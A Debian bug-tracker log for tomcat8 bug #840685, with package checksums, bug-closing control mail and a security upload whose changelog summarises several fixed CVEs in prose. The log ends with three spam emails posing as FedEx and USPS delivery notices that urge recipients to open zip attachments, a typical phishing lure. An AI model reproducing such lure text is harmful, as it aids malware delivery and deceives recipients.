 82ad07858f24f9bbafbda361fbc7797d 191216 java optional tomcat8-examples_8.0.38-1_all.deb
 a5d82e648a76d1450bbf840248296173 34328 java optional tomcat8-user_8.0.38-1_all.deb
 b9cbd2aeee7af627ba8d7105b946e266 45940 java optional tomcat8_8.0.38-1_all.deb

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCAAGBQJYB0KEAAoJEPUTxBnkudCs73sQAMPKgMEiVK8GtLS0EwtwzNhs
m86dbavUyUypKbhHgMW4ZbCjAJ3MFjywI/MFrZr/XnOjnWg9kSfrQuRBjVE3Kt2I
kksQY7QvUTdCfW33XXdYq4VdTIRAJsA+fTRGXQtfhE1XyXCOQMXRnQmXojh+TbsS
hONT8pEDb81R7ZjzxN8zBMoKx+/nXLETslEEtOB/Omo5cTf8hVdlCD8KKPZyBXCY
xYKkCMJsvDqKZugUrgtpzsPBhSusXzQZNJ91YAAdN41MFTbuFW8SEqmbVqxjd8I2
XdaXOUOXat7X9NaAbsDF3k6WrPSkR1AlsijymJAitkRWi1GaqM5Q80st4J4OCfAl
bnVCF0qsHZaXsv1OJZhgPY9Z6IJSct6DNHpdWUZ2Dk5CWB0XfhUAWhdt8a8tYEDN
TXaOwotudOCfqkuwhl0BZ42oKDEUW8Arlt/RqxWQ1nNhlE/Tgm0pi8sHUplNArQh
2YZJg7IAeeizgXBW0T4UldE7KbD7XhqDTaSFmlBj2bKVShbIOoSTRsDFPYXha6px
6Rb3DdPuxFWDbEOHvoCSHNwKK247VNgnA25cWwLmhcVGkxtsbbEjnPbhIislHJMd
9aAKcWoOdtSWO5y1H9snE8m4Ah/a+HmVNK/7uutNgnG9ED68sdrVLbOrL9mk4KRu
ySVU3LifDDTlQuVjekOe
=Gy3r
-----END PGP SIGNATURE-----

Message #93 received at 840685-submitter@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: control@bugs.debian.org

Cc: tomcat8@packages.debian.org, 840685-submitter@bugs.debian.org

Subject: reassign 840685 to src:tomcat8, closing 840685

Date: Fri, 21 Oct 2016 20:50:52 +0200

# sigh, messed the reassigned/cloned bug ... fixing
reassign 840685 src:tomcat8 8.0.14-1
close 840685 8.0.38-1
thanks

Message #98 received at 840685-close@bugs.debian.org (full text, mbox, reply):

From: Emmanuel Bourg <ebourg@apache.org>

To: 840685-close@bugs.debian.org

Subject: Bug#840685: fixed in tomcat8 8.0.14-1+deb8u4

Date: Wed, 23 Nov 2016 19:32:10 +0000

Source: tomcat8
Source-Version: 8.0.14-1+deb8u4

We believe that the bug you reported is fixed in the latest version of
tomcat8, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 840685@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Emmanuel Bourg <ebourg@apache.org> (supplier of updated tomcat8 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Format: 1.8
Date: Thu, 17 Nov 2016 09:00:15 +0100
Source: tomcat8
Binary: tomcat8-common tomcat8 tomcat8-user libtomcat8-java libservlet3.1-java libservlet3.1-java-doc tomcat8-admin tomcat8-examples tomcat8-docs
Architecture: source all
Version: 8.0.14-1+deb8u4
Distribution: jessie-security
Urgency: medium
Maintainer: Debian Java Maintainers <pkg-java-maintainers@lists.alioth.debian.org>
Changed-By: Emmanuel Bourg <ebourg@apache.org>
Description:
 libservlet3.1-java - Servlet 3.1, JSP 2.3, EL 3.0 and WebSocket 1.0 Java API classes
 libservlet3.1-java-doc - Servlet 3.1, JSP 2.3, EL 3.0 and WebSocket 1.0 Java API documenta
 libtomcat8-java - Apache Tomcat 8 - Servlet and JSP engine -- core libraries
 tomcat8    - Apache Tomcat 8 - Servlet and JSP engine
 tomcat8-admin - Apache Tomcat 8 - Servlet and JSP engine -- admin web application
 tomcat8-common - Apache Tomcat 8 - Servlet and JSP engine -- common files
 tomcat8-docs - Apache Tomcat 8 - Servlet and JSP engine -- documentation
 tomcat8-examples - Apache Tomcat 8 - Servlet and JSP engine -- example web applicati
 tomcat8-user - Apache Tomcat 8 - Servlet and JSP engine -- tools to create user
Closes: 840685
Changes:
 tomcat8 (8.0.14-1+deb8u4) jessie-security; urgency=medium
 .
   * Fixed CVE-2016-0762: The Realm implementations did not process the supplied
     password if the supplied user name did not exist. This made a timing attack
     possible to determine valid user names.
   * Fixed CVE-2016-5018: A malicious web application was able to bypass
     a configured SecurityManager via a Tomcat utility method that was
     accessible to web applications.
   * Fixed CVE-2016-6794: When a SecurityManager is configured, a web
     application's ability to read system properties should be controlled by
     the SecurityManager. Tomcat's system property replacement feature for
     configuration files could be used by a malicious web application to bypass
     the SecurityManager and read system properties that should not be visible.
   * Fixed CVE-2016-6796: A malicious web application was able to bypass
     a configured SecurityManager via manipulation of the configuration
     parameters for the JSP Servlet.
   * Fixed CVE-2016-6797: The ResourceLinkFactory did not limit web application
     access to global JNDI resources to those resources explicitly linked to the
     web application. Therefore, it was possible for a web application to access
     any global JNDI resource whether an explicit ResourceLink had been
     configured or not.
   * CVE-2016-1240 follow-up:
     - The previous init.d fix was vulnerable to a race condition that could
       be exploited to make any existing file writable by the tomcat user.
       Thanks to Paul Szabo for the report and the fix.
     - The catalina.policy file generated on startup was affected by a similar
       vulnerability that could be exploited to overwrite any file on the system.
       Thanks to Paul Szabo for the report.
   * Hardened the init.d script, thanks to Paul Szabo (Closes: #840685)
Checksums-Sha1:
 665856ec19324d7029e41a6fcea54cdd90c69d76 2842 tomcat8_8.0.14-1+deb8u4.dsc
 ec93a6b65254c664e79fdc1ce8cbe011ea11ce65 56260 tomcat8_8.0.14-1+deb8u4.debian.tar.xz
 b042a68034cff0457d369d47b347836cd64b374c 56634 tomcat8-common_8.0.14-1+deb8u4_all.deb
 70554e2be42156ac0376ff6c641370dd1e56abff 46142 tomcat8_8.0.14-1+deb8u4_all.deb
 91336c3cf7160f3567f0f6bc3d7e61f4a5de3a3e 33818 tomcat8-user_8.0.14-1+deb8u4_all.deb
 db9ede19ef81bf9b38103f9a8c1f495899167072 4585858 libtomcat8-java_8.0.14-1+deb8u4_all.deb
 b1fa663561ab8822d5cfba017cf3bee894f22bb2 391180 libservlet3.1-java_8.0.14-1+deb8u4_all.deb
 c828439fd7bcf2388e1207cab4ee50a42bb3dd5a 246386 libservlet3.1-java-doc_8.0.14-1+deb8u4_all.deb
 f8f01bd30ad74ba7f15de3c93b01370d8c1a55ae 35118 tomcat8-admin_8.0.14-1+deb8u4_all.deb
 b9c729a7b4c5f268a70f615b09520d196b1bad39 193542 tomcat8-examples_8.0.14-1+deb8u4_all.deb
 c3ce4d70535076f7bf3d60f1a0fe848f612432b9 688292 tomcat8-docs_8.0.14-1+deb8u4_all.deb
Checksums-Sha256:
 fe11afd5dc9472f316c5126c8d1f12f8958c17cca455dde4b63a5d4eabd25c28 2842 tomcat8_8.0.14-1+deb8u4.dsc
 bfef9a384583312b056101f34bcdb308f5a9855e63b8d575f43f4251d4402af5 56260 tomcat8_8.0.14-1+deb8u4.debian.tar.xz
 6ad03dee0fc489fb2ff115113872d314aeacadb3e4245b993e207ca6d5bfa475 56634 tomcat8-common_8.0.14-1+deb8u4_all.deb
 24e3f69096f81fa3ef65ee837e7d72df46a4610d57d5ed97197764afc342273b 46142 tomcat8_8.0.14-1+deb8u4_all.deb
 5f6d0abc55f17096e2b2cf35e91789a6b6051761a2265e7cd48468a620dc0b13 33818 tomcat8-user_8.0.14-1+deb8u4_all.deb
 9c8d9e0f2900c940bf6dfc721aafcfbc655ec375e0984d67033b187846241bc7 4585858 libtomcat8-java_8.0.14-1+deb8u4_all.deb
 a30a493c614639c71bd9a06bd9b438fcf7fab2d4acbac1e114b08985b2b51909 391180 libservlet3.1-java_8.0.14-1+deb8u4_all.deb
 9f0077c343b34ab5af0c9c989c6ca4e5545b6bc7437c94b0320dbea2dceb11d8 246386 libservlet3.1-java-doc_8.0.14-1+deb8u4_all.deb
 a2cb93bbf53750daed7eaee6339851c98ea39e99f0accd4692540f5d6639ea48 35118 tomcat8-admin_8.0.14-1+deb8u4_all.deb
 799ece775236b93d9d1d5d880a36f3bf8debe9d27edac60a5381c8bf440cc6df 193542 tomcat8-examples_8.0.14-1+deb8u4_all.deb
 230a2139dae1878b32005d357e6e09ff209374256127610545949e907b3fd141 688292 tomcat8-docs_8.0.14-1+deb8u4_all.deb
Files:
 b4b7edf37b67958d914f0faf8ea709bc 2842 java optional tomcat8_8.0.14-1+deb8u4.dsc
 8851abe07b60a4a32341b90e3dd5682d 56260 java optional tomcat8_8.0.14-1+deb8u4.debian.tar.xz
 7a6f81ae8302876756c5ef9cd2bc173a 56634 java optional tomcat8-common_8.0.14-1+deb8u4_all.deb
 87661c80a0a9775f247048853afaf47b 46142 java optional tomcat8_8.0.14-1+deb8u4_all.deb
 390dbf6cee51d388371720b9c14313ab 33818 java optional tomcat8-user_8.0.14-1+deb8u4_all.deb
 0adaf59156eab95073f01f0e53261490 4585858 java optional libtomcat8-java_8.0.14-1+deb8u4_all.deb
 07987c93c5cb5a372ccef3969662ee87 391180 java optional libservlet3.1-java_8.0.14-1+deb8u4_all.deb
 9cffc9aaa7787ef935fa639a6774a6ea 246386 doc optional libservlet3.1-java-doc_8.0.14-1+deb8u4_all.deb
 05d7f65566a92e2f9b506fc05d2d57ea 35118 java optional tomcat8-admin_8.0.14-1+deb8u4_all.deb
 356d02452c487c82594a9f87f3ac370d 193542 java optional tomcat8-examples_8.0.14-1+deb8u4_all.deb
 b36f6f0dc9b9dfb2c0c0d25352353cc3 688292 doc optional tomcat8-docs_8.0.14-1+deb8u4_all.deb

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJYLWQ6AAoJEPUTxBnkudCsAFAP/3aYeR+sQQy4qFgt3LyfTCGJ
ZzrfVYfK4DR30H93lmoTQQxkeF7W9Uw56x66vLab+x+26cIr6tsJaro2ltrEESV0
qUcjo8RfjYnvg03jmcKHg1hbFcJzRE77lmsXebv5XYV43bCqnMctdGoJRVdquNug
IHWuPmZ2154AppLdrzjEjY0G74bV4/QX5TPXCbE8aOh4r8cyVVjCThQh6vwloYzG
P8jQ7Tr8U5CUd+aApM1AHyMM66NMbMowGdLsJAsPcf1o2e+biXBbhT13R8lwhtw1
mK3h/z4aFesQwJkWfjADY7kM3rf0F4iS6xv8BPEdDuCCsY0cGa411CmHT94X9n/B
lN/TrasGjuMhODUoSCo2WnAdST6EfxPKfokUXYggSllq/gJVjMbmm2EQCw3P4dcU
fmtHlP1Y7MIEbDSdRUCTJhitcFTpresQKLwme1i7Tc0JsGGcKv8sc+6ucDCS+qZT
CGFKhcM5Og2wihU2scCix62+518RN/lwyjQhPG8Wa0YLxjdYHHeCZpjv67JxY1jq
rEmmezYdNpGSnvACa56Jr2/s/8tb2x/iuHf1/TXHYCpYSWYKoNj99TrwOSxwkmwh
86N5rVbWzMR8QnIeNHV5lsO1PjjUXCjbIGxPHNMZ+KWNwU7anxIKECpv/4jK0GtD
P3T8FclkRr3wIhVb0dX0
=M5GD
-----END PGP SIGNATURE-----

Message #101 received at 840685-submitter@bugs.debian.org (full text, mbox, reply):

From: "FedEx SameDay" <jessie.walters@rekall.org>

To: 840685-submitter@bugs.debian.org

Subject: Notification status of your delivery (FedEx 0000748672)

Date: Mon, 19 Dec 2016 09:22:31 +0000

[Message part 1 (text/plain, inline)]

Dear Customer,

Your parcel was successfully delivered December 16 to FedEx Station, but our courier cound not contact you.

You can find more details in this e-mail attachment!

Most sincerely,
Jessie Walters,
Parcels Delivery Manager.

[Undelivered-Parcel-ID-0000748672.zip (application/zip, attachment)]

Message #102 received at 840685-close@bugs.debian.org (full text, mbox, reply):

From: "FedEx Delivery" <curtis.pollard@barlesud.com>

To: 840685-close@bugs.debian.org

Subject: Notification status of your delivery (FedEx 000583851)

Date: Mon, 19 Dec 2016 20:41:44 +0100

[Message part 1 (text/plain, inline)]

Dear Customer,

We can not deliver your parcel arrived at December 18.

Review the document that is attached to this e-mail!

Respectfully yours,
Curtis Pollard,
Delivery Clerk.

[Ground-Label-000583851.zip (application/zip, attachment)]

Message #103 received at 840685-close@bugs.debian.org (full text, mbox, reply):

From: "USPS TechConnect" <rodney.morse@dygitech.com>

To: undisclosed-recipients:;

Subject: Notification status of your delivery (USPS 05246763)

Date: Sat, 24 Dec 2016 09:52:12 +0530

[Message part 1 (text/plain, inline)]

Dear Customer,

USPS courier was unable to contact you for your parcel delivery.

You can download the shipment label attached!

Thank you for making business with us,
Rodney Morse,
USPS Chief Delivery Manager.

[Undelivered-Parcel-ID-05246763.zip (application/zip, attachment)]

Send a report that this bug log contains spam.